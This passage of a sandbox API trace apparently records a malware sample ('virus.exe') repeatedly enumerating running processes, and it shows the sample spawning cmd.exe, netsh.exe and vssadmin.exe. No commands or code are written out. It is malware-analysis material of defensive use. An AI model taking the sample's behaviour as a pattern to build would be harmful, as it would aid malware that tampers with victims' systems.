returned 1 [0223.048] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.048] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.049] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.049] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.049] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.050] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.050] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.050] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.051] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.051] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.051] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.052] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.052] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.052] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.053] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0223.053] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0223.053] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0223.054] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.054] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.054] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.055] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.055] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0223.055] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0223.056] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0223.056] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.056] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0223.057] CloseHandle (hObject=0x1b8) returned 1 [0223.057] Sleep (dwMilliseconds=0x1f4) [0223.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0223.849] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.850] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.850] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.850] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.851] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.851] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.852] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.852] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.852] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.853] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.853] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.853] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.854] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.854] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.855] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.855] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.855] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.856] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.856] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.857] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.857] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.858] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.858] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.859] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0223.859] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0223.860] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0223.860] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.860] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.861] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.861] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.862] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0223.862] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0223.863] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0223.863] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.864] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0223.864] CloseHandle (hObject=0x168) returned 1 [0223.865] Sleep (dwMilliseconds=0x1f4) [0225.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0225.028] Process32FirstW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.028] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.029] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.029] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.029] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.030] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.030] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.030] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.031] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.031] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0225.031] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.032] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.032] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.032] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.032] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.033] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.033] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.033] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.034] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.034] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.034] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.035] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: 